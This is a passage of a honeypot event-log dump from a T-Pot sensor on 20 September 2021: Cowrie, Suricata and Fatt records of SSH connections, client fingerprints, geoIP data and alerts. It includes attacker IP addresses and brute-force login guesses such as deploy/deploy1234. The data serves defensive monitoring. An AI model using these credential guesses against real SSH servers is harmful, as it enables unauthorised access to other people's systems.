"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55360, "timestamp": "2021-09-20T11:42:12.476959", "@timestamp": "2021-09-20T11:42:12.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31097	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:42:12.507819+03	2021-09-20 14:45:04.041141+03	{"_id": "ugYDA3wBvYTbRNuEf0Gr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55360, "dest_port": 22, "timestamp": "2021-09-20T11:42:12.507819", "@timestamp": "2021-09-20T11:42:12.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31098	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:42:12.718322+03	2021-09-20 14:45:04.042142+03	{"_id": "uwYDA3wBvYTbRNuEgEHl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [deploy/deploy1234] failed", "session": "f70ed30396f6", "@version": "1", "password": "deploy1234", "username": "deploy", "timestamp": "2021-09-20T11:42:12.718322Z", "@timestamp": "2021-09-20T11:42:12.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31099	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:41:34.23718+03	2021-09-20 14:45:04.044142+03	{"_id": "WgYCA3wBvYTbRNuE6EF-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:57546 (192.168.176.2:22) [session: 913165b39ba4]", "session": "913165b39ba4", "@version": "1", "protocol": "ssh", "src_port": 57546, "dest_port": 22, "timestamp": "2021-09-20T11:41:34.237180Z", "@timestamp": "2021-09-20T11:41:34.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31100	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:41:34.241047+03	2021-09-20 14:45:04.045141+03	{"_id": "WwYCA3wBvYTbRNuE6EF-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.closed", "message": "Connection lost after 17 seconds", "session": "7a8965eca41f", "@version": "1", "duration": 17.424152851104736, "timestamp": "2021-09-20T11:41:34.241047Z", "@timestamp": "2021-09-20T11:41:34.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
44350	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:35:22.013033+03	2021-09-20 16:45:01.541565+03	{"_id": "GAZrA3wBvYTbRNuEGKfz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:35:22.013033Z", "@timestamp": "2021-09-20T13:35:22.013Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31101	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:41:34.241517+03	2021-09-20 14:45:04.046141+03	{"_id": "XAYCA3wBvYTbRNuE6EF-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "913165b39ba4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:41:34.241517Z", "@timestamp": "2021-09-20T11:41:34.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31102	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:41:34.474774+03	2021-09-20 14:45:04.048142+03	{"_id": "XQYCA3wBvYTbRNuE6EF-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "913165b39ba4", "@version": "1", "timestamp": "2021-09-20T11:41:34.474774Z", "@timestamp": "2021-09-20T11:41:34.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31103	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:41:34.473708+03	2021-09-20 14:45:04.049172+03	{"_id": "XgYCA3wBvYTbRNuE6kE7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 380860309048820, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57546, "dest_port": 22, "timestamp": "2021-09-20T11:41:34.473708Z", "@timestamp": "2021-09-20T11:41:34.473Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31104	189.50.42.214	109.199.241.180	Fatt	2021-09-20 14:41:34.474564+03	2021-09-20 14:45:04.051177+03	{"_id": "YAYCA3wBvYTbRNuE60Er", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57546, "dest_port": 22, "timestamp": "2021-09-20T11:41:34.474564", "@timestamp": "2021-09-20T11:41:34.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31105	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:41:35.497699+03	2021-09-20 14:45:04.052142+03	{"_id": "YwYCA3wBvYTbRNuE7EFm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.failed", "message": "login attempt [shadow/shadow123] failed", "session": "913165b39ba4", "@version": "1", "password": "shadow123", "username": "shadow", "timestamp": "2021-09-20T11:41:35.497699Z", "@timestamp": "2021-09-20T11:41:35.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
44351	192.168.20.104	109.199.241.180	Suricata	2021-09-20 16:35:22.497906+03	2021-09-20 16:45:01.542564+03	{"_id": "GQZrA3wBvYTbRNuEGKfz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:35:22.497906Z", "@timestamp": "2021-09-20T13:35:22.497Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31106	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:54.096401+03	2021-09-20 14:45:04.053176+03	{"_id": "mQYDA3wBvYTbRNuENUFs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48844, "timestamp": "2021-09-20T11:41:54.096401", "@timestamp": "2021-09-20T11:41:54.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31107	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:41:54.091423+03	2021-09-20 14:45:04.055173+03	{"_id": "nwYDA3wBvYTbRNuENkGn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:48844 (192.168.176.2:22) [session: 1a97736caa60]", "session": "1a97736caa60", "@version": "1", "protocol": "ssh", "src_port": 48844, "dest_port": 22, "timestamp": "2021-09-20T11:41:54.091423Z", "@timestamp": "2021-09-20T11:41:54.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31108	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:41:53.698105+03	2021-09-20 14:45:04.056173+03	{"_id": "oAYDA3wBvYTbRNuENkGn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "ba4d69bbbea1", "@version": "1", "duration": 180.28310108184814, "timestamp": "2021-09-20T11:41:53.698105Z", "@timestamp": "2021-09-20T11:41:53.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31109	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:41:54.094284+03	2021-09-20 14:45:04.057171+03	{"_id": "oQYDA3wBvYTbRNuENkGn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1a97736caa60", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:41:54.094284Z", "@timestamp": "2021-09-20T11:41:54.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31110	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:41:54.37712+03	2021-09-20 14:45:04.059143+03	{"_id": "ogYDA3wBvYTbRNuENkGn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1a97736caa60", "@version": "1", "timestamp": "2021-09-20T11:41:54.377120Z", "@timestamp": "2021-09-20T11:41:54.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31363	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:09.691588+03	2021-09-20 14:45:04.388142+03	{"_id": "WAYFA3wBvYTbRNuESkMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:09.691588Z", "@timestamp": "2021-09-20T11:44:09.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
